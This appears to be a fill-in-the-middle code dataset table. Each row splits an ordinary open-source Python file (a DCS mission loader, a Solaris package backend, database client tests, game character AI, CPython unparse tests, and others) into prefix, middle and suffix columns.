repo_name stringlengths 5 100 | path stringlengths 4 231 | language stringclasses 1 value | license stringclasses 15 values | size int64 6 947k | score float64 0 0.34 | prefix stringlengths 0 8.16k | middle stringlengths 3 512 | suffix stringlengths 0 8.17k |
|---|---|---|---|---|---|---|---|---|
pydcs/dcs | dcs/coalition.py | Python | lgpl-3.0 | 14,260 | 0.002805 | import sys
from typing import Dict, Union, List, TYPE_CHECKING
import dcs.countries as countries
from dcs.mapping import Point
import dcs.unitgroup as unitgroup
import dcs.planes as planes
import dcs.helicopters as helicopters
import dcs.ships as ships
from dcs.unit import Vehicle, Static, Ship, FARP, SingleHeliPad
from dcs.flyingunit import Plane, Helicopter
from dcs.point import MovingPoint, StaticPoint
from dcs.country import Country
from dcs.status_message import StatusMessage, MessageType, MessageSeverity
if TYPE_CHECKING:
from . import Mission
class Coalition:
def __init__(self, name, bullseye=None):
self.name = name
self.countries = {} # type: Dict[str, Country]
self.bullseye = bullseye
self.nav_points = [] # TODO
@staticmethod
def _sort_keys(points):
keys = []
for imp_point_idx in points:
keys.append(int(imp_point_idx))
keys.sort()
return keys
@staticmethod
def _import_moving_point(mission, group: unitgroup.Group, imp_group) -> unitgroup.Group:
keys = Coalition._sort_keys(imp_group["route"]["points"])
for imp_point_idx in keys:
imp_point = imp_group["route"]["points"][imp_point_idx]
point = MovingPoint(Point(0, 0, mission.terrain))
point.load_from_dict(imp_point, mission.translation)
group.add_point(point)
return group
@staticmethod
def _import_static_point(mission, group: unitgroup.Group, imp_group) -> unitgroup.Group:
keys = Coalition._sort_keys(imp_group["route"]["points"])
for imp_point_idx in keys:
imp_point = imp_group["route"]["points"][imp_point_idx]
point = StaticPoint(Point(0, 0, mission.terrain))
point.load_from_dict(imp_point, mission.translation)
group.add_point(point)
return group
@staticmethod
def _park_unit_on_airport(
mission: 'Mission',
group: unitgroup.Group,
unit: Union[Plane, Helicopter]) -> List[StatusMessage]:
ret: List[StatusMessage] = []
if group.points[0].airdrome_id is not None and unit.parking is not None:
airport = mission.terrain.airport_by_id(group.points[0].airdrome_id)
slot = airport.parking_slot(unit.parking)
if slot is not None:
unit.set_parking(slot)
else:
msg = "Parking slot id '{i}' for unit '{u}' in group '{p}' on airport '{a}' " \
"not valid, placing on next free".format(i=unit.parking, u=unit.name,
a=airport.name, p=group.name)
print("WARN", msg, file=sys.stderr)
ret.append(StatusMessage(msg, MessageType.PARKING_SLOT_NOT_VALID, MessageSeverity.WARN))
slot = airport.free_parking_slot(unit.unit_type)
if slot is not None:
unit.set_parking(slot)
else:
msg = "No free parking slots for unit '{u}' in unit group '{p}' on airport '{a}', ignoring"\
.format(u=unit.name, a=airport.name, p=group.name)
print("ERRO", msg, file=sys.stderr)
ret.append(StatusMessage(msg, MessageType.PARKING_SLOTS_FULL, MessageSeverity.ERROR))
return ret
@staticmethod
def get_name(mission: "Mission", name: str) -> str:
# Group, unit names are not localized for missions are created in 2.7.
if mission.version < 19:
return str(mission.translation.get_string(name))
else:
return name
def load_from_dict(self, mission, d) -> List[StatusMessage]:
status: List[StatusMessage] = []
for country_idx in d["country"]:
imp_country = d["country"][country_idx]
_country = countries.get_by_id(imp_country["id"])
if "vehicle" in imp_country:
for vgroup_idx in imp_country["vehicle"]["group"]:
vgroup = imp_country["vehicle"]["group"][vgroup_idx]
vg = unitgroup.VehicleGroup(vgroup["groupId"], self.get_name(mission, vgroup["name"]),
vgroup["start_time"])
vg.load_from_dict(vgroup, mission.terrain)
mission.current_group_id = max(mission.current_group_id, vg.id)
Coalition._import_moving_point(mission, vg, vgroup)
# units
for imp_unit_idx in vgroup["units"]:
imp_unit = vgroup["units"][imp_unit_idx]
unit = Vehicle(
mission.terrain,
id=imp_unit["unitId"],
name=self.get_name(mission, imp_unit["name"]),
_type=imp_unit["type"])
unit.load_from_dict(imp_unit)
mission.current_unit_id = max(mission.current_unit_id, unit.id)
vg.add_unit(unit)
_country.add_vehicle_group(vg)
if "ship" in imp_country:
for group_idx in imp_country["ship"]["group"]:
imp_group = imp_country["ship"]["group"][group_idx]
ship_group = unitgroup.ShipGroup(imp_group["groupId"], self.get_name(mission, imp_group["name"]),
imp_group["start_time"])
ship_group.load_from_dict(imp_group, mission.terrain)
mission.current_group_id = max(mission.current_group_id, ship_group.id)
Coalition._import_moving_point(mission, ship_group, imp_group)
# units
for imp_unit_idx in imp_group["units"]:
imp_unit = imp_group["units"][imp_unit_idx]
| ship = Ship(
mission.terrain,
id= | imp_unit["unitId"],
name=self.get_name(mission, imp_unit["name"]),
_type=ships.ship_map[imp_unit["type"]])
ship.load_from_dict(imp_unit)
mission.current_unit_id = max(mission.current_unit_id, ship.id)
ship_group.add_unit(ship)
_country.add_ship_group(ship_group)
if "plane" in imp_country:
for pgroup_idx in imp_country["plane"]["group"]:
pgroup = imp_country["plane"]["group"][pgroup_idx]
plane_group = unitgroup.PlaneGroup(pgroup["groupId"],
self.get_name(mission, pgroup["name"]),
pgroup["start_time"])
plane_group.load_from_dict(pgroup, mission.terrain)
mission.current_group_id = max(mission.current_group_id, plane_group.id)
Coalition._import_moving_point(mission, plane_group, pgroup)
# units
for imp_unit_idx in pgroup["units"]:
imp_unit = pgroup["units"][imp_unit_idx]
plane = Plane(
mission.terrain,
_id=imp_unit["unitId"],
name=self.get_name(mission, imp_unit["name"]),
_type=planes.plane_map[imp_unit["type"]],
_country=_country)
plane.load_from_dict(imp_unit)
if _country.reserve_onboard_num(plane.onboard_num):
msg = "{c} Plane '{p}' already using tail number: {t}".format(
c=self.name.upper(), p=plane.name, t=plane.onboard_num)
status.append(StatusMessage(msg, MessageType.ONBOARD_NUM_DUPLICATE, MessageSeverity.WARN))
print("WARN:", msg, file=sys.stderr)
status += self._park_unit_on_airport( |
dmacvicar/spacewalk | client/solaris/smartpm/smart/backends/solaris/base.py | Python | gpl-2.0 | 3,072 | 0.003581 | #
# Copyright (c) 2005 Red Hat, Inc.
#
# Written by Joel Martin <jmartin@redhat.com>
#
# This file is part of Smart Package Manager.
#
# Smart Package Manager is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as published
# by the Free Software Foundation; either version 2 of the License, or (at
# your option) any later version.
#
# Smart Package Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Smart Package Manager; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
from smart.backends.solaris.pm import SolarisPackageManager
from solarisver import checkdep, vercmp
from smart.util.strtools import isGlob
from smart.cache import *
import fnmatch
import re
__all__ = ["SolarisPackage", "SolarisProvides", "SolarisDepends",
"SolarisUpgrades", "SolarisConflicts"]
class SolarisPackage(Package):
packagemanager = SolarisPackageManager
def isPatch(self):
return self.name.startswith("patch-solaris")
def isPatchCluster(self):
return self.name.startswith("patch-cluster-solaris")
def matches(self, relation, version):
if not relation:
return True
return checkdep(self.version, relation, version)
def search(self, searcher):
myname = self.name
myversion = self.version
ratio = 0
for nameversion, cutoff in searcher.nameversion:
_, ratio1 = globdistance(nameversion, myname, cutoff)
_, ratio2 = globdistance(nameversion,
"%s-%s" % (myname, myversion), cutoff)
_, ratio3 = globdistance(nameversion, "%s-%s" %
(myname, myversion.split("-", 1)[- | 1]),
cutoff)
ratio = max(ratio, ratio1, ratio2, ratio3)
if ratio:
searcher.addResult(self, ratio)
def coexists(self, other):
if not isinstance(other, SolarisPackage):
return True
return False
def __lt__(self, other):
rc = cmp(self.name, other.name)
if type(other) is SolarisPackage:
if rc == 0 and self.version != other.version:
| rc = vercmp(self.version, other.version)
return rc == -1
class SolarisProvides(Provides): pass
class SolarisDepends(Depends):
def matches(self, prv):
if not isinstance(prv, SolarisProvides) and type(prv) is not Provides:
return False
if not self.version or not prv.version:
return True
return checkdep(prv.version, self.relation, self.version)
class SolarisUpgrades(SolarisDepends,Upgrades): pass
class SolarisConflicts(SolarisDepends,Conflicts): pass
# vim:ts=4:sw=4:et
|
zedshaw/mulletdb | clients/python/tests/db_tests.py | Python | agpl-3.0 | 5,155 | 0.005044 | from nose.tools import *
from mullet import db
from unittest import TestCase
sess = db.Session("tcp://127.0.0.1:5003")
sql = db.Sql(sess)
disk = db.Disk(sess)
map = db.Mem(sess)
search = db.Search(sess)
def setup():
sql.query("drop table test")
sql.query("create table test (id INTEGER PRIMARY KEY, name TEST, age INTEGER)")
def assert_valid(resp):
print resp
assert resp
assert not resp.error()
class Person(db.ResultObject):
def test(self):
assert self.name
assert self.age
class SqlTests(TestCase):
def test_query(self):
assert_valid(sql.query("select * from test where name=$name$", vars={"name": "Zed"}))
def test_insert(self):
res = sql.insert("test", values={"name": "Frank", "age": 70})
assert_valid(res)
assert_equal(res.rowcount(), 1)
res2 = sql.insert("test", values={"name": "Frank", "age": 70})
assert_valid(res2)
assert_equal(res.rowcount(), 1)
assert res._row_id < res2._row_id
def test_where(self):
assert_valid(sql.where("test", values={"name": "Frank"}))
def test_select(self):
assert_valid(sql.select("test"))
assert_valid(sql.select("test", what="name"))
assert_valid(sql.select("test", where="name = $name$", vars={"name": "Frank"}))
assert_valid(sql.select("test", where="name = $name$",
vars={"name": "Frank"},
order="name ASC", limit=2, offset=1))
res = sql.select("test")
row = res.first()
assert row
assert row.name == "Frank"
def test_update(self):
assert_valid(sql.update("test", where="name = $name$ and age = $age",
vars={"name": "Frank", "age": 70}, values={"age": 100}))
def test_delete(self):
assert_ | valid(sql.delete("test", where="name = $name$", vars={"n | ame": "Frank"}))
def test_sql_result(self):
assert_valid(sql.insert("test", values={"name": "Frank", "age": 70}))
res = sql.query("select * from test where name='Frank'")
assert_valid(res)
for row in res.rows():
print row
for row in res:
print row['age']
print row['name']
for row in res.items():
print row.age
print row.name
for person in res.items(Person):
person.test()
class DiskTests(TestCase):
def test_put(self):
assert_valid(disk.put("test:1", "this is a test"))
def test_get(self):
self.test_put()
assert_valid(disk.get("test:1"))
def test_info(self):
self.test_put()
assert_valid(disk.info("test:1"))
def test_cp(self):
self.test_put()
assert_valid(disk.cp("test:1", "test:4"))
def test_mv(self):
self.test_put()
assert_valid(disk.mv("test:1", "dead"))
def test_delete(self):
self.test_put()
assert_valid(disk.delete("test:1"))
def test_putkeep(self):
disk.delete("pktest")
status = disk.putkeep("pktest", "test")
assert_valid(status)
assert_equal(status.value, True);
assert_valid(disk.get("pktest"))
status = disk.putkeep("pktest", "stuff to add")
assert_valid(status)
assert_equal(status.value, False);
class MemTests(TestCase):
def test_put(self):
assert_valid(map.put("test:1", "this is a test"))
def test_get(self):
assert_valid(map.get("test:1"))
def test_putkeep(self):
map.delete("test:2")
assert_valid(map.putkeep("test:2", "this should go in"))
second = map.putkeep("test:2", "this also should go in")
assert_valid(second)
assert not second.value
def test_putcat(self):
assert_valid(map.putcat("test:2", " appending to this"))
def test_store(self):
disk.delete("test:2")
assert_valid(map.store("test:2"))
assert_valid(disk.load("test:2"))
assert_valid(disk.get("test:2"))
class SearchTests(TestCase):
def test_put(self):
assert_valid(search.put(1, "This is a test"))
def test_get(self):
self.test_put()
res = search.get(1)
assert_valid(res)
assert_equal(res.value["doc"], "This is a test")
def test_delete(self):
self.test_put()
assert_valid(search.delete(1))
res = search.get(1)
assert_equal(res.data["code"], 404)
def test_query(self):
self.test_put()
res = search.query("this || test")
assert_equal(res.value, {"query":"this || test","ids":[1]})
def test_find(self):
self.test_put()
res = search.find(["this", "test"])
assert_equal(res.value, {
'query': 'this test',
'results': {'this': [1], 'test': [1]}})
def test_index(self):
disk.put("toindex", "I'd like to get indexed.")
res = search.index(3, "toindex")
assert_valid(res)
res = search.get(3)
assert_equal(res.value, {"doc": "I'd like to get indexed.", "id": 3})
|
ToonTownInfiniteRepo/ToontownInfinite | toontown/classicchars/CharStateDatasAI.py | Python | mit | 14,539 | 0.007703 | # File: C (Python 2.4)
from otp.ai.AIBaseGlobal import *
from direct.distributed.ClockDelta import *
from direct.fsm import StateData
from direct.directnotify import DirectNotifyGlobal
import random
from direct.task import Task
from toontown.toonbase import ToontownGlobals
import CCharChatter
import CCharPaths
class CharLonelyStateAI(StateData.StateData):
notify = DirectNotifyGlobal.directNotify.newCategory('CharLonelyStateAI')
def __init__(self, doneEvent, character):
StateData.StateData.__init__(self, doneEvent)
self._CharLonelyStateAI__doneEvent = doneEvent
self.character = character
def enter(self):
if hasattr(self.character, 'name'):
name = self.character.getName()
else:
name = 'character'
self.notify.debug('Lonely ' + self.character.getName() + '...')
StateData.StateData.enter(self)
duration = random.randint(3, 15)
taskMgr.doMethodLater(duration, self._CharLonelyStateAI__doneHandler, self.character.taskName('startWalking'))
def exit(self):
StateData.StateData.exit(self)
taskMgr.remove(self.character.taskName('startWalking'))
def _CharLonelyStateAI__doneHandler(self, task):
doneStatus = { }
doneStatus['state'] = 'lonely'
doneStatus['status'] = 'done'
messenger.send(self._CharLonelyStateAI__doneEvent, [
doneStatus])
return Task.done
class CharChattyStateAI(StateData.StateData):
notify = DirectNotifyGlobal.directNotify.newCategory('CharChattyStateAI')
def __init__(self, doneEvent, character):
StateData.StateData.__init__(self, doneEvent)
self._CharChattyStateAI__doneEvent = doneEvent
self.character = character
self._CharChattyStateAI__chatTaskName = 'characterChat-' + str(character)
self.lastChatTarget = 0
self.nextChatTime = 0
self.lastMessage = [
-1,
-1]
def enter(self):
if hasattr(self.character, 'name'):
name = self.character.getName()
else:
name = 'character'
self.notify.debug('Chatty ' + self.character.getName() + '...')
self | .chatter = CCharChatter.getChatter(self.character.ge | tName(), self.character.getCCChatter())
if self.chatter != None:
taskMgr.remove(self._CharChattyStateAI__chatTaskName)
taskMgr.add(self.blather, self._CharChattyStateAI__chatTaskName)
StateData.StateData.enter(self)
def pickMsg(self, category):
self.getLatestChatter()
if self.chatter:
return random.randint(0, len(self.chatter[category]) - 1)
else:
return None
def getLatestChatter(self):
self.chatter = CCharChatter.getChatter(self.character.getName(), self.character.getCCChatter())
def setCorrectChatter(self):
self.chatter = CCharChatter.getChatter(self.character.getName(), self.character.getCCChatter())
def blather(self, task):
now = globalClock.getFrameTime()
if now < self.nextChatTime:
return Task.cont
self.getLatestChatter()
if self.character.lostInterest():
self.leave()
return Task.done
if not self.chatter:
self.notify.debug('I do not want to talk')
return Task.done
if not self.character.getNearbyAvatars():
return Task.cont
target = self.character.getNearbyAvatars()[0]
if self.lastChatTarget != target:
self.lastChatTarget = target
category = CCharChatter.GREETING
else:
category = CCharChatter.COMMENT
self.setCorrectChatter()
if category == self.lastMessage[0] and len(self.chatter[category]) > 1:
msg = self.lastMessage[1]
lastMsgIndex = self.lastMessage[1]
if lastMsgIndex < len(self.chatter[category]) and lastMsgIndex >= 0:
while self.chatter[category][msg] == self.chatter[category][lastMsgIndex]:
msg = self.pickMsg(category)
if not msg:
break
continue
else:
msg = self.pickMsg(category)
else:
msg = self.pickMsg(category)
if msg == None:
self.notify.debug('I do not want to talk')
return Task.done
self.character.sendUpdate('setChat', [
category,
msg,
target])
self.lastMessage = [
category,
msg]
self.nextChatTime = now + 8.0 + random.random() * 4.0
return Task.cont
def leave(self):
if self.chatter != None:
category = CCharChatter.GOODBYE
msg = random.randint(0, len(self.chatter[CCharChatter.GOODBYE]) - 1)
target = self.character.getNearbyAvatars()[0]
self.character.sendUpdate('setChat', [
category,
msg,
target])
taskMgr.doMethodLater(1, self.doneHandler, self.character.taskName('waitToFinish'))
def exit(self):
StateData.StateData.exit(self)
taskMgr.remove(self._CharChattyStateAI__chatTaskName)
def doneHandler(self, task):
doneStatus = { }
doneStatus['state'] = 'chatty'
doneStatus['status'] = 'done'
messenger.send(self._CharChattyStateAI__doneEvent, [
doneStatus])
return Task.done
class CharWalkStateAI(StateData.StateData):
notify = DirectNotifyGlobal.directNotify.newCategory('CharWalkStateAI')
def __init__(self, doneEvent, character, diffPath = None):
StateData.StateData.__init__(self, doneEvent)
self._CharWalkStateAI__doneEvent = doneEvent
self.character = character
if diffPath == None:
self.paths = CCharPaths.getPaths(character.getName(), character.getCCLocation())
else:
self.paths = CCharPaths.getPaths(diffPath, character.getCCLocation())
self.speed = character.walkSpeed()
self._CharWalkStateAI__lastWalkNode = CCharPaths.startNode
self._CharWalkStateAI__curWalkNode = CCharPaths.startNode
def enter(self):
destNode = self._CharWalkStateAI__lastWalkNode
choices = CCharPaths.getAdjacentNodes(self._CharWalkStateAI__curWalkNode, self.paths)
if len(choices) == 1:
destNode = choices[0]
else:
while destNode == self._CharWalkStateAI__lastWalkNode:
destNode = random.choice(CCharPaths.getAdjacentNodes(self._CharWalkStateAI__curWalkNode, self.paths))
self.notify.debug('Walking ' + self.character.getName() + '... from ' + str(self._CharWalkStateAI__curWalkNode) + '(' + str(CCharPaths.getNodePos(self._CharWalkStateAI__curWalkNode, self.paths)) + ') to ' + str(destNode) + '(' + str(CCharPaths.getNodePos(destNode, self.paths)) + ')')
self.character.sendUpdate('setWalk', [
self._CharWalkStateAI__curWalkNode,
destNode,
globalClockDelta.getRealNetworkTime()])
duration = CCharPaths.getWalkDuration(self._CharWalkStateAI__curWalkNode, destNode, self.speed, self.paths)
t = taskMgr.doMethodLater(duration, self.doneHandler, self.character.taskName(self.character.getName() + 'DoneWalking'))
t.newWalkNode = destNode
self.destNode = destNode
def exit(self):
StateData.StateData.exit(self)
taskMgr.remove(self.character.taskName(self.character.getName() + 'DoneWalking'))
def getDestNode(self):
if hasattr(self, 'destNode') and self.destNode:
return self.destNode
else:
return self._CharWalkStateAI__curWalkNode
def setCurNode(self, curWalkNode):
self._CharWalkStateAI__curWalkNode = curWalkNode
def doneHandler(self, task):
self._CharWalkStateAI__lastWalkNode = self._CharWalkStateAI__curWalkNode
self._CharWalkStateAI__curWal |
the-virtual-brain/tvb-hpc | phase_plane_interactive/template.py | Python | apache-2.0 | 642 | 0.035826 | class ${name}:
def __init__(self,\
%for c,val in const.items( | ):
${c}=${val}${'' if loop.last else ', '}\
%endfor
):
self.limit = ${limit}
% for c in const.keys():
self.${c} = ${c}
% endfor
def dfun(self,state_variables, *args, **kwargs):
<%
sv_csl = ", ".join(sv)
%>
${sv_csl} = state_variables
% for c in const.keys():
${c} = self.${c}
% endfor
| % for cvar in input:
${cvar} = 0.0
% endfor
% for i, var in enumerate(sv):
d${var} = ${drift[i]}
% endfor
return [${sv_csl}]
|
FFMG/myoddweb.piger | monitor/api/python/Python-3.7.2/Lib/test/test_tools/test_unparse.py | Python | gpl-2.0 | 8,393 | 0.000477 | """Tests for the unparse.py script in the Tools/parser directory."""
import unittest
import test.support
import io
import os
import random
import tokenize
import ast
from test.test_tools import basepath, toolsdir, skip_if_missing
skip_if_missing()
parser_path = os.path.join(toolsdir, "parser")
with test.support.DirsOnSysPath(parser_path):
import unparse
def read_pyfile(filename):
"""Read and return the contents of a Python source file (as a
string), taking into account the file encoding."""
with open(filename, "rb") as pyfile:
encoding = tokenize.detect_encoding(pyfile.readline)[0]
with open(filename, "r", encoding=encoding) as pyfile:
source = pyfile.read()
return source
for_else = """\
def f():
for x in range(10):
break
else:
y = 2
z = 3
"""
while_else = """\
def g():
while True:
break
else:
y = 2
z = 3
"""
relative_import = """\
from . import fred
from .. import barney
from .australia import shrimp as prawns
"""
nonlocal_ex = """\
def f():
x = 1
def g():
nonlocal x
x = 2
y = 7
def h():
nonlocal x, y
"""
# also acts as test for 'except ... as ...'
raise_from = """\
try:
1 / 0
except ZeroDivisionError as e:
raise ArithmeticError from e
"""
class_decorator = """\
@f1(arg)
@f2
class Foo: pass
"""
elif1 = """\
if cond1:
suite1
elif cond2:
suite2
else:
suite3
"""
elif2 = """\
if cond1:
suite1
elif cond2:
suite2
"""
try_except_finally = """\
try:
suite1
except ex1:
suite2
except ex2:
suite3
else:
suite4
finally:
suite5
"""
with_simple = """\
with f():
suite1
"""
with_as = """\
with f() as x:
suite1
"""
with_two_items = """\
with f() as x, g() as y:
suite1
"""
class ASTTestCase(unittest.TestCase):
def assertASTEqual(self, ast1, ast2):
self.assertEqual(ast.dump(ast1), ast.dump(ast2))
def check_roundtrip(self, code1, filename="internal"):
ast1 = compile(code1, filename, "exec", ast.PyCF_ONLY_AST)
unparse_buffer = io.StringIO()
unparse.Unparser(ast1, unparse_buffer)
code2 = unparse_buffer.getvalue()
ast2 = compile(code2, filename, "exec", ast.PyCF_ONLY_AST)
self.assertASTEqual(ast1, ast2)
class UnparseTestCase(ASTTestCase):
# Tests for specific bugs found in earlier versions of unparse
def test_fstrings(self):
# See issue 25180
self.check_roundtrip(r"""f'{f"{0}"*3}'""")
self.check_roundtrip(r"""f'{f"{y}"*3}'""")
def test_del_statement(self):
self.check_roundtrip("del x, y, z")
def test_shifts(self):
self.check_roundtrip("45 << 2")
self.check_roundtrip("13 >> 7")
def test_for_else(self):
self.check_roundtrip(for_else)
def test_while_else(self):
self.check_roundtrip(while_else)
def test_unary_parens(self):
self.check_roundtrip("(-1)**7")
| self.check_roundtrip("(-1.) | **8")
self.check_roundtrip("(-1j)**6")
self.check_roundtrip("not True or False")
self.check_roundtrip("True or not False")
def test_integer_parens(self):
self.check_roundtrip("3 .__abs__()")
def test_huge_float(self):
self.check_roundtrip("1e1000")
self.check_roundtrip("-1e1000")
self.check_roundtrip("1e1000j")
self.check_roundtrip("-1e1000j")
def test_min_int(self):
self.check_roundtrip(str(-2**31))
self.check_roundtrip(str(-2**63))
def test_imaginary_literals(self):
self.check_roundtrip("7j")
self.check_roundtrip("-7j")
self.check_roundtrip("0j")
self.check_roundtrip("-0j")
def test_lambda_parentheses(self):
self.check_roundtrip("(lambda: int)()")
def test_chained_comparisons(self):
self.check_roundtrip("1 < 4 <= 5")
self.check_roundtrip("a is b is c is not d")
def test_function_arguments(self):
self.check_roundtrip("def f(): pass")
self.check_roundtrip("def f(a): pass")
self.check_roundtrip("def f(b = 2): pass")
self.check_roundtrip("def f(a, b): pass")
self.check_roundtrip("def f(a, b = 2): pass")
self.check_roundtrip("def f(a = 5, b = 2): pass")
self.check_roundtrip("def f(*, a = 1, b = 2): pass")
self.check_roundtrip("def f(*, a = 1, b): pass")
self.check_roundtrip("def f(*, a, b = 2): pass")
self.check_roundtrip("def f(a, b = None, *, c, **kwds): pass")
self.check_roundtrip("def f(a=2, *args, c=5, d, **kwds): pass")
self.check_roundtrip("def f(*args, **kwargs): pass")
def test_relative_import(self):
self.check_roundtrip(relative_import)
def test_nonlocal(self):
self.check_roundtrip(nonlocal_ex)
def test_raise_from(self):
self.check_roundtrip(raise_from)
def test_bytes(self):
self.check_roundtrip("b'123'")
def test_annotations(self):
self.check_roundtrip("def f(a : int): pass")
self.check_roundtrip("def f(a: int = 5): pass")
self.check_roundtrip("def f(*args: [int]): pass")
self.check_roundtrip("def f(**kwargs: dict): pass")
self.check_roundtrip("def f() -> None: pass")
def test_set_literal(self):
self.check_roundtrip("{'a', 'b', 'c'}")
def test_set_comprehension(self):
self.check_roundtrip("{x for x in range(5)}")
def test_dict_comprehension(self):
self.check_roundtrip("{x: x*x for x in range(10)}")
def test_class_decorators(self):
self.check_roundtrip(class_decorator)
def test_class_definition(self):
self.check_roundtrip("class A(metaclass=type, *[], **{}): pass")
def test_elifs(self):
self.check_roundtrip(elif1)
self.check_roundtrip(elif2)
def test_try_except_finally(self):
self.check_roundtrip(try_except_finally)
def test_starred_assignment(self):
self.check_roundtrip("a, *b, c = seq")
self.check_roundtrip("a, (*b, c) = seq")
self.check_roundtrip("a, *b[0], c = seq")
self.check_roundtrip("a, *(b, c) = seq")
def test_with_simple(self):
self.check_roundtrip(with_simple)
def test_with_as(self):
self.check_roundtrip(with_as)
def test_with_two_items(self):
self.check_roundtrip(with_two_items)
def test_dict_unpacking_in_dict(self):
# See issue 26489
self.check_roundtrip(r"""{**{'y': 2}, 'x': 1}""")
self.check_roundtrip(r"""{**{'y': 2}, **{'x': 1}}""")
class DirectoryTestCase(ASTTestCase):
"""Test roundtrip behaviour on all files in Lib and Lib/test."""
NAMES = None
# test directories, relative to the root of the distribution
test_directories = 'Lib', os.path.join('Lib', 'test')
@classmethod
def get_names(cls):
if cls.NAMES is not None:
return cls.NAMES
names = []
for d in cls.test_directories:
test_dir = os.path.join(basepath, d)
for n in os.listdir(test_dir):
if n.endswith('.py') and not n.startswith('bad'):
names.append(os.path.join(test_dir, n))
# Test limited subset of files unless the 'cpu' resource is specified.
if not test.support.is_resource_enabled("cpu"):
names = random.sample(names, 10)
# bpo-31174: Store the names sample to always test the same files.
# It prevents false alarms when hunting reference leaks.
cls.NAMES = names
return names
def test_files(self):
# get names of files to test
names = self.get_names()
for filename in names:
if test.support.verbose:
print('Testing %s' % filename)
# Some f-strings are not correctly round-tripped by
# Tools/parser/unparse.py. See issue 28002 for details.
# We need to skip files that contain such f-strings.
if os.path.basename(filename) in ('test_fstring.py', ):
if test.support.verbose:
print(f'Skipping {filename}: see issue 28002')
|
marineam/nagcat | python/nagcat/unittests/test_test.py | Python | apache-2.0 | 1,910 | 0.000524 | # Copyright 2009 ITA Software, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from twisted.trial import unittest
from nagcat import simple, test
from coil.struct import Struct
class TestTestCase(unittest.TestCase):
def testBasic(self):
config = Struct({
'query': {
'type': "noop",
'data': "something",
},
})
t = test.Test(simple.NagcatDummy(), config)
d = t.start()
d.addBoth(self.endBasic, t)
return d
def endBasic(self, result, t):
self.assertEquals(result, None)
self.assertEquals(t.result['output'], "something")
def testCompound(self):
config = Struct({
'query': {
'type': "compound",
| 'test-a': {
'type': "noop",
'data': "1",
},
| 'test-b': {
'type': "noop",
'data': "2",
},
'return': "$(test-a) + $(test-b)",
},
})
t = test.Test(simple.NagcatDummy(), config)
d = t.start()
d.addBoth(self.endCompound, t)
return d
def endCompound(self, result, t):
self.assertEquals(result, None)
self.assertEquals(t.result['output'], "3")
|
openstack/mistral | mistral/tests/unit/api/test_resource_list.py | Python | apache-2.0 | 1,260 | 0 | # Copyright 2018 Nokia Networks. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from oslotest import base
from mistral.api | .controllers.v2 import resources
class TestResourceList(base.BaseTestCase):
def test_next_link_correctness(self):
task = resources.Task.sample()
result = resources.Tasks.convert_ | with_links(
resources=[task],
limit=1,
url='https://localhost:8080',
sort_keys='created_at,id',
sort_dirs='asc,asc',
fields='',
state='eq:RUNNING'
)
next_link = result.next
self.assertIn('state=eq:RUNNING', next_link)
self.assertIn('sort_keys=created_at,id', next_link)
|
ekansa/open-context-py | opencontext_py/apps/imports/fieldannotations/types.py | Python | gpl-3.0 | 15,913 | 0.000943 | import uuid as GenUUID
from django.conf import settings
from django.db import models
from django.utils.http import urlunquote
from opencontext_py.libs.general import LastUpdatedOrderedDict
from opencontext_py.apps.ocitems.events.models import Event
from opencontext_py.apps.entities.entity.models import Entity
from opencontext_py.apps.imports.fields.models import ImportField
from opencontext_py.apps.imports.fieldannotations.models import ImportFieldAnnotation
from opencontext_py.apps.imports.records.models import ImportCell
from opencontext_py.apps.imports.records.process import ProcessCells
from opencontext_py.apps.imports.fieldannotations.general import ProcessGeneral
from opencontext_py.apps.imports.sources.unimport import UnImport
from opencontext_py.apps.ocitems.octypes.manage import TypeManagement
from opencontext_py.apps.ldata.linkentities.models import LinkEntity
from opencontext_py.apps.ldata.linkentities.web import WebLinkEntity
from opencontext_py.apps.ldata.linkannotations.models import LinkAnnotation
from opencontext_py.apps.ldata.linkannotations.recursion import LinkRecursion
from opencontext_py.apps.entities.uri.models import URImanagement
# Processes to generate subjects items for an import
class ProcessTypes():
"""
Methods for importing type data as data
so linked data can be added
to describe it
from opencontext_py.apps.imports.fieldannotations.types import ProcessTypes
source_id = 'ref:2507935910502'
configs = [
(14, 'd4dee6d6-669f-411a-8cfe-3fe95c1c164e', 15,), # class
(17, '55ea97cc-7107-4dee-b44b-24e424e6a81d', 18,), # order
(20, '6df0dc1e-2cd4-4eec-8c99-3e5b948e201a', 21,), # family
(23, '5a6e1877-1054-4fa0-890e-a8a5bbc0ab0d', 24,), # genus
(25, 'e9caff7a-d01c-411e-bacf-eba2b32608c4', 26,), # element
]
rel_pred = 'skos:closeMatch'
for type_f, pred_uuid, le_f in configs:
pt = ProcessTypes(source_id)
pt.make_type_ld_annotations(pred_uuid, type_f, rel_pred, le_f)
pred_uuid = 'c01b2f13-8c6f-4fca-8a47-50e573dd01d0' # Materials 1
type_f = 17
rel_pred = 'skos:exactMatch'
le_f = 19
pt = ProcessTypes(source_id)
pt.make_type_ld_annotations(pred_uuid, type_f, rel_pred, le_f)
from opencontext_py.apps.imports.fieldannotations.types import ProcessTypes
source_id = 'ref:1903543025071'
pred_uuid = '7cdf8d0a-521c-4fab-ae8c-8fd3adafa776' # Materials 2
type_f = 21
rel_pred = 'skos:exactMatch'
le_f = 23
pt = ProcessTypes(source_id)
pt.make_type_ld_annotations(pred_uuid, type_f, rel_pred, le_f)
from opencontext_py.apps.imports.fieldannotations.types import ProcessTypes
source_id = 'ref:1699742791864'
